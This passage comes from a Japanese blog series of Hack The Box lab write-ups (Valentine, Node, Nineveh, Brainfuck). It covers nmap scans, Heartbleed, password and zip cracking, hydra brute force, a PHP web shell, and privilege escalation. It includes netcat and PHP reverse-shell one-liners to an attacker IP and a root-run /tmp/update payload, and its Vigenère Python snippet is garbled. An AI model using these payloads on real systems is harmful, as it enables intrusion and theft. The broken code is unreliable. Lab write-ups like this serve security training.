|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

443/tcp open  https

| http-enum: 

|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'

|_  /index/: Potentially interesting folder

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| ssl-ccs-injection: 

|   VULNERABLE:

|   SSL/TLS MITM vulnerability (CCS Injection)

|     State: VULNERABLE

|     Risk factor: High

|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h

|       does not properly restrict processing of ChangeCipherSpec messages,

|       which allows man-in-the-middle attackers to trigger use of a zero

|       length master key in certain OpenSSL-to-OpenSSL communications, and

|       consequently hijack sessions or obtain sensitive information, via

|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.

|           

|     References:

|       http://www.openssl.org/news/secadv_20140605.txt

|       http://www.cvedetails.com/cve/2014-0224

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224

|_http-csrf: Couldn't find any CSRF vulnerabilities.

| ssl-heartbleed: 

|   VULNERABLE:

|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

|     State: VULNERABLE

|     Risk factor: High

|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

|           

|     References:

|       http://cvedetails.com/cve/2014-0160/

|       http://www.openssl.org/news/secadv_20140407.txt 

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

| ssl-poodle: 

|   VULNERABLE:

|   SSL POODLE information leak

|     State: VULNERABLE

|     IDs:  BID:70574  CVE:CVE-2014-3566

|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other

|           products, uses nondeterministic CBC padding, which makes it easier

|           for man-in-the-middle attackers to obtain cleartext data via a

|           padding-oracle attack, aka the "POODLE" issue.

|     Disclosure date: 2014-10-14

|     Check results:

|       TLS_RSA_WITH_AES_128_CBC_SHA

|     References:

|       https://www.imperialviolet.org/2014/10/14/poodle.html

|       https://www.openssl.org/~bodo/ssl-poodle.pdf

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566

|_      https://www.securityfocus.com/bid/70574

 

OpenSSLの脆弱性があるようです。

※他の方の記事を読んで、冒頭の画像がHeartBleedのイラストを示していることを知りました。

 

OpenSSLについて

www.iestudy.work

 

Exploitを検索し実行します。

searchsploit -p 32745

 

HeartBleedのexploit実行中の様子

実行すると「$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==」という文字列が取得できます。

これをdecodeすると、「heartbleedbelievethehype」という文字列が取得できます。

 

また、/devにあった「hype_key」は16進数でエンコードされているようでした。

以下のコマンドでデコードすると秘密鍵が取得できました。

┌─[iestudy@parrot]─[~/htb]

└──╼ $cat hype_key | xxd -r -p > valentine.key

 

中身を見ると「ENCRYPTED」とあるため、そのままでは使用できないのでopensslコマンドでdecodeします。

┌─[iestudy@parrot]─[~/htb]
└──╼ $openssl rsa -in valentine.key -out valentine.decrypted

Enter pass phrase for valentine.key:heartbleedbelievethehype
writing RSA key

 

アクセス取得

上記で得られた情報をもとにsshでアクセスしてみます。

┌─[iestudy@parrot]─[~/htb]
└──╼ $ssh -i valentine.decrypted hype@10.10.10.79
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
 * Documentation:  https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

hype@Valentine:~$ 

 

権限昇格

valentine上でlinpeas.shを実行します。

 

root権限で実行されているtmux

tmuxというものはハイライトされていました。

tmuxとは、ターミナルマルチプレクサ(Terminal Multiplexer) の略で、Linux系のターミナル画面を複数のセッション、ウィンドウ、ペインに分割して利用することができるもののようです。

なお、上記を実行するとrootが取得できました。

tmux実行後のターミナル

 

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

mopenten.com

zenn.dev

 

 

 

【Hack The Box】node

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.18s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
|   256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_  256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: MyPlace
| hadoop-tasktracker-info: 
|_  Logs: /login
| hadoop-datanode-info: 
|_  Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at 

TCP/22,3000が開いていることがわかりました。

TCP/3000で待ち受けているApache Hadoopとは、大規模データの蓄積・分析を分散処理技術によって実現するオープンソースのミドルウェアで、Apacheプロジェクトの元で、Hortonworks社、米国Yahoo!社、Cloudera社といった初期から参加していた企業に加えて、 Intel社、Microsoft社などより多くの企業のメンバーによって開発が続けられているもの、とのことです。

ブラウザでアクセスすると以下のような画面が表示されます。

 

ブラウザでアクセスした様子



 

dirbやgobusterを実行しようとすると以下のようなエラーが返され実行できません。

Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/83af7740-5d76-4ce0-8e79-128200f6689d => 200 (Length: 3861). To continue please exclude the status code or the length

 

※どんなリクエストに対しても200を返すので、200を除外することで一応実行することができます。

┌──(kali㉿kali)-[~]

└─$ gobuster dir -u http://10.10.10.58:3000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 -s"204,301,302,307,401,403" -b ""

===============================================================

Gobuster v3.4

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: http://10.10.10.58:3000

[+] Method: GET

[+] Threads: 20

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

[+] Status codes: 204,301,302,307,401,403

[+] User Agent: gobuster/3.4

[+] Timeout: 10s

===============================================================

/uploads (Status: 301) [Size: 173] [--> /uploads/]

/assets (Status: 301) [Size: 171] [--> /assets/]

/vendor (Status: 301) [Size: 171] [--> /vendor/]

Progress: 207643 / 207644 (100.00%)

 

別の方法としてBurp Suiteのspiderでサイトの構成を確認できます。

BurpSuiteを使用する

上記結果の中にあるファイルにアクセスすると/api/userのパスが確認できました。

取得できたファイルへアクセス

/api/usersにアクセスするとユーザー名とパスワードのハッシュが得られます。

パスワードのハッシュ値を確認

 

ハッシュの種類を確認し、hashcatで解析します。

┌──(kali㉿kali)-[~/node]
└─$ hashid dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
                                                                                                                         
┌──(kali㉿kali)-[~/node]
└─$ hashcat -h |grep 256                                                   
 -u, --kernel-loops             | Num  | Manual workload tuning, set innerloop step size to X | -u 256
   1400 | SHA2-256                                                   | Raw Hash

┌──(kali㉿kali)-[~/node]
└─$ hashcat -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -a 0 /home/kali/rockyou.txt       130 ⨯

hashcat (v6.2.6) starting
※-a 0 アタックモード 0は辞書モード

上記を実行することでパスワードを取得できます。

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af

manchester

 

取得できた認証情報「myP14ceAdm1nAcc0uNT/manchester」でログインします。

 

ログイン後の画面



 

ログインするとバックアップファイルがダウンロードできます。

※ダウンロードかなり不安定で、中断することが多々ありました。

 

ダウンロードしたバックアップファイルはbase64でエンコードされています。

また、デコードしたファイルはzipファイルであることがわかります。

base64 -d myplace.backup > backup_decoded

file backup_decoded

unzip backup_decoded

 

Zipファイルにはパスワードがかかっています。

以下のコマンドでZipのパスワードを解析します。

zip2john backup_decoded > zip.hashjohn -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash

 

解析すると以下のパスワードが取得できます。

magicword

 

Zipファイルの中身を見ると「app.js」の中にMongoDBへアクセスする認証情報が見つかります。

const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

 

※余談:Base64について

Base64はメール以外でも、Webサイトにファイルをアップロードするときに使用することもあります。
Base64では最後に「=」が付いているので、ここからBase64でエンコードされていることが推測できます。

 

※余談:認証ページ対するhydra

hydraを使ってみると13回目の施行でログイン成功と表示されますが、実際にはログインできませんでした。

┌──(kali㉿kali)-[~]
└─$ hydra -V -f -l mark -P ./rockyou.txt node.htb -s 3000 http-post-form '/login:"username"\:^USER^,"password"\:^PASS^:Login Failed! Incorrect credentials were specified'

 

アクセス取得

上記で得られた情報をもとにsshでアクセスしてみます。

MongoDBの認証情報ですがSSHと同じでした。

 

SSHでアクセス

 

pspyを実行すると定期的に実行されている「CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js」が確認できました。

 

pspy実行結果

 

「app.js」の中を見ると、MongoDBドキュメントのプロパティに基づいてコマンドが実行されていることがわかります。

app.jsの中身

MongoDBでは、ドキュメントを「コレクション」として保存します。
app.js は「scheduler」という名前のMondodbデータベースに接続し、「tasks」という名前のコレクションを検索し、その内容をシェルコマンドとして実行しています。

そのため、MongoDBに接続し、リバースシェルのコマンドを登録します。

 

$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k

MongoDB shell version: 3.2.16

connecting to: localhost:27017/scheduler

> db.tasks.insertOne({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f"})

{

        "acknowledged" : true,

        "insertedId" : ObjectId("6001919a9b6e0212d49e4b24")

}

 

待ち受け側のターミナルで「tom」のアクセスが取得できました。

tomのアクセス取得

※余談:SUIDとSGIDについて

SUID(set user-ID)とSGID(set group-ID)はLinuxのパーミッションで、ビットが設定されているとプログラムの実行ユーザの権限ではなく、プログラムの所有ユーザ、グループの権限で実行されます。

SUID, SGIDビットのプログラムはユーザに対して高権限を与えるため、攻撃者に悪用されることもあります。

なお、2000はSGID、4000はSUIDです。

rootフラグの取得

※公式のWirteUpではBOFによる権限昇格が説明されていましたが、自分ではその方法で権限昇格ができませんでした。そのため、別の方法をとりました。

 

lse.shを使用すると、不審なSUIDのバイナリが見つかります。

/usr/local/bin/backup.

github.com

 

前に取得したバックアップファイルの中身を見ると「backup_key」が確認できます。

45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

 

tomのアカウントで/tmpに移動し、新しいディレクトリ「test」を作成します。

作成したディレクトリを/root/root.txtにシンボリックリンクします。

次に、/backupを使用して、/tmp/test/ ディレクトリのバックアップを作成します

 

rootディレクトリのバックアップ作成

Webアクセスし、バックアップファイルをダウンロードします。
以前と同様の方法でデコードし、先ほど見つけたパスワード「magicword」を使用してファイルを解凍します。
解凍後、ファイルを開くとroot.txtが見つかります。

rootフラグの取得


難しかった。。。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.jtsec.es

www.hackingarticles.in

 

 

 

【Hack The Box】nineveh

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.43
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.43
Host is up (0.18s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

TCP/80,443が開いているようです。/etc/hostsを編集しブラウザでアクセスすると以下のようなページが表示されました。

HTTP

 

HTTPS

それぞれgobusterでディレクトリを調査します。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.43
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
/department           (Status: 301) [Size: 315] [--> http://10.10.10.43/department/]
/server-status        (Status: 403) [Size: 299]

┌──(kali㉿kali)-[~]
└─$ gobuster dir -k -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.43
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
/db                   (Status: 301) [Size: 309] [--> https://10.10.10.43/db/]
/server-status        (Status: 403) [Size: 300]
/secure_notes         (Status: 301) [Size: 319] [--> https://10.10.10.43/secure_notes/]
Progress: 207607 / 207644 (99.98%)

 

http,httpsでそれぞれディレクトリが検出されました。

まずはhttpの方から調べてみます。

/departmentにアクセスするとログイン画面が表示されます。

ページのソース内にコメントがありました。

 

ページソース内のコメント

上記より、「admin」と「amrois」というユーザがいるように見えます。

「admin」をユーザー名としてログインを試すと、「Invalid Password」メッセージが返されますが、別のユーザー名を使用すると無効なユーザー名と表示されるため、「admin」が有効なユーザー名であることがわかります。

adminを固定してhydraを実行します。

hydra -V -f -l admin -P ./rockyou.txt 10.10.10.43 http-post-form '/department/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid Password!'

パスワード「1q2w3e4r5t」が取得できました。

ログイン後の画面

サイトは作成中ですが、「Notes」にアクセスするとメッセージが表示されます。

また、URLはファイルのパスを指定しているような記載が見られました。

Notesにアクセスした様子

ファイルパスが確認できたのでLFIの脆弱性がないか試してみます。
「ninevehNotes」という文字列がないとファイルが選択されていない旨のエラーが出るので、文字列を含む形で試してみます。

http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../etc/passwd

LFIの脆弱性が確認できました。

XXの脆弱性を確認

この時点ではこれ以上情報が見つけられないので続いてTCP/443の「/db」にアクセスしてみます。

ログイン画面が出てくるのでhydraでパスワードを探索します。

Burp Suiteでログイン画面の通信を取得し、hydraのコマンドを組み立てます。

※ユーザ名はない場合でも指定が必要です。また、POSTのbodyを正しく入力しない(途中だけ等にする)と、実行結果がおかしなことになりました。

hydra -V -f -l none -P ./rockyou.txt 10.10.10.43 https-post-form '/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.'

hydra実行結果(成功)

phpLiteAdmin v1.9には以下の脆弱性があります。

www.exploit-db.com

上記の内容は、「.php」を含むデータベースを作成し、phpコードをテキストフィールドとして挿入し、ブラウザでアクセスすることで挿入したコードを実行できるもののようです。

アクセス取得

上記で得られた情報をもとにDBを作成します。

フィールドはテキスト指定で以下の内容を登録します。

<?php echo system($_REQUEST ["cmd"]); ?>

「.php」を含むDBの作成

上記ページには作成したDBのパス情報も記載されているので、先程LFIの脆弱性が確認されたページでアクセスしてみます。

http://10.10.10.43/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/random.php&cmd=php -r '$sock=fsockopen("10.10.14.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

リバースシェルの待ち受け側でシェルが取得できました。

アクセス取得

特権昇格

アクセス取得後、linpeas.shおよびpspyを実行してrootにつながる情報を探します。

pspyで定期的に実行されているプロセスが確認できました。

pspy実行結果

定期的に実行されている「chkrootkit」について調べてみると、/tmp/updateという名前の実行可能ファイルをルートとして実行する脆弱性があることがわかりました。

www.exploit-db.com


/tmpで以下の内容のupdateファイルを作成します。

#!/bin/bash
php -r '$sock=fsockopen("10.10.14.3",4443);exec("/bin/sh -i <&3 >&3 2>&3");'

 

しばらくすると待ち受け側のターミナルでrootが取得できました。

待ち受け側でrootを取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

ranakhalil101.medium.com

 

 

 

【Hack The Box】brainfuck

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.17
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.17
Host is up (0.18s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
|   256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
|_  256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
25/tcp  open  smtp      Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open  pop3      Dovecot pop3d
|_pop3-capabilities: PIPELINING USER CAPA TOP RESP-CODES UIDL AUTH-RESP-CODE SASL(PLAIN)
143/tcp open  imap      Dovecot imapd
|_imap-capabilities: IMAP4rev1 more OK ID AUTH=PLAINA0001 have capabilities listed ENABLE Pre-login SASL-IR post-login LOGIN-REFERRALS LITERAL+ IDLE
443/tcp open  ssl/https nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/443が開いています。

ブラウザでアクセスすると以下のようなページが表示されます。

 

 

ブラウザでアクセスした様子

証明書の情報を見ると、SAN(Subject Alternative Name)に別のホスト名が記載されているので、/etc/hostsに追記します。

証明書の記載情報

ブラウザでアクセスした際に、WordPressで作成されたサイトであることが確認できました。(赤字)

wpscanで情報を収集します。

┌──(kali㉿kali)-[~]
└─$ wpscan --disable-tls-checks --url https://brainfuck.htb --enumerate
______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________


[i] User(s) Identified:
[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
[+] administrator
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)


[i] Plugin(s) Identified:

[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | [!] The version is out of date, the latest version is 9.1.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

使用しているユーザと、脆弱性のあるプラグインが確認できました。

参考:wpscanのオプションについて
--url: スキャン対象のURLを指定します。
--enumerate: スキャン結果から脆弱性、プラグイン、テーマなどの詳細情報を取得します。
--plugins-version: インストールされているプラグインのバージョンを取得します。
--themes-version: インストールされているテーマのバージョンを取得します。
--update: インストールされているWordPress、プラグイン、テーマの最新バージョンを取得します。
--threads: スキャン時のスレッド数を指定します。

 

アクセス取得

プラグインの脆弱性情報を調べると以下の情報が見つかりました。

descriptionに記載のある内容を読むと、wp_set_auth_cookie() の使い方が間違っているため、パスワードを知らなくても誰でもログインできます。といったことが書かれています。

www.exploit-db.com

 

上記の記載内容に従いhtmlを作成します。action内のURLをbrainfuckに指定します。

PoCの内容

 

Kali上でWebサーバをたちあげ、自分自身へアクセスします。

その後ログインし、再びbrainfuckに戻るとadminでログインした状態となります。

作成したPoCへアクセス

再びアクセス

 

管理画面より、PluginをたどるとEasy WP SMTPが見つかります。

設定内容を見るとユーザアカウントとパスワードが確認できました。

Easy WP SMTPの設定

上記アカウントをもとにTelnetでメールサーバにアクセスします。

telnet brainfuck.htb 143
a LOGIN orestis kHGuERB29DNiNE
a OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SPECIAL-USE] Logged in
b LIST "" "*"
* LIST (\HasNoChildren) "/" INBOX
c EXAMINE INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS ()] Read-only mailbox.
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1493461609] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
* OK [HIGHESTMODSEQ 4] Highest
d FETCH 1 BODY
* 1 FETCH (BODY
{977}
Return-Path: <www-data@brainfuck.htb>
X-Original-To: orestis@brainfuck.htb
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 33)
 id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <wordpress@brainfuck.htb>
Message-ID: <00edcd034a67f3b0b6b43bab82b0f872@brainfuck.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Your new WordPress site has been successfully set up at:
https://brainfuck.htb
You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php
We hope you enjoy your new site. Thanks!
--The WordPress Team
https://wordpress.org/
)

※IMAPのコマンドはコマンドの前に何か文字を入れないといけないようです。

qiita.com

2つ目のメールでフォーラムのアカウント情報が確認できました。

2つ目のメール

 

上記アカウントでフォーラムにアクセスしスレッドを読むと、何やらもめているようなやり取りに加え、SSHのキーを別スレで受け渡すような内容が見れます。

別スレに移ると以下のようなメッセージが残っていました。

暗号化されたやり取り



以下のサイトで署名と思われる文章を解析すると、ビジュネル暗号であることがわかりました。

Pieagnm - Jkoijeg nbw zwx mle grwsnn

www.boxentriq.com

 

ビジュネル暗号は既知の平文攻撃に対して脆弱であるためキーを推測できます。

以下のPythonスクリプトでキーを探索しました。

#!/bin/python

plain = "OrestisHackingforfunandprofit"

encrypted = "PieagnmJkoijegnbwzwxmlegrwsnn" 

password = ""

for i in range(len(plain)):

    x = *1 % 26) + 97

    char = chr(x)

    password = password + char

print (password)

上記を実行すると以下の結果が得られます。

キーが「fuckmybrain」であることがわかります。

┌──(kali㉿kali)-[~]
└─$ python3 vijunel.py
brainfuckmybrainfuckmybrainfu

 

上記のキーでメッセージを複合するとid_rsa鍵が取得できます。

mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr
https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

上記のid_rsa鍵は暗号化されているのでSSH鍵を探索します。

John The Ripperでいろいろなパスワードを調べる - Speaker Deck

python3 ssh2john.py id_rsa > id_rsa.hash

上記よりSSH鍵が「3poulakia!」であることがわかります。

上記のSSH鍵を使用してSSHアクセスするとシェルが取得できました。

 

特権昇格

SSHアクセス後linpeas.shを実行します。

注目箇所

現在のユーザ「orestis」は「lxd」グループのメンバです。

lxdに所属するユーザはsudo権限を付与されてなくとも、パスワードも不要でroot権限に即座にエスカレートできます。

(とはいっても、これ以降の手順は理解できていませんが・・・)

kali側の作業

┌──(kali㉿kali)-[~/distrobuilder]
└─$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
raw.githubusercontent.com (raw.githubusercontent.com) をDNSに問いあわせています... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 8060 (7.9K) [text/plain]
`build-alpine.1' に保存中
build-alpine.1                  100%[====================================================>]   7.87K  --.-KB/s 時間 0s       
`build-alpine.1' へ保存完了 [8060/8060]
                                                                                                                           
┌──(kali㉿kali)-[~/distrobuilder]
└─$ sudo bash build-alpine
Determining the latest release... v3.17
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.17/main/x86_64
Downloading alpine-keys-2.4-r1.apk
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
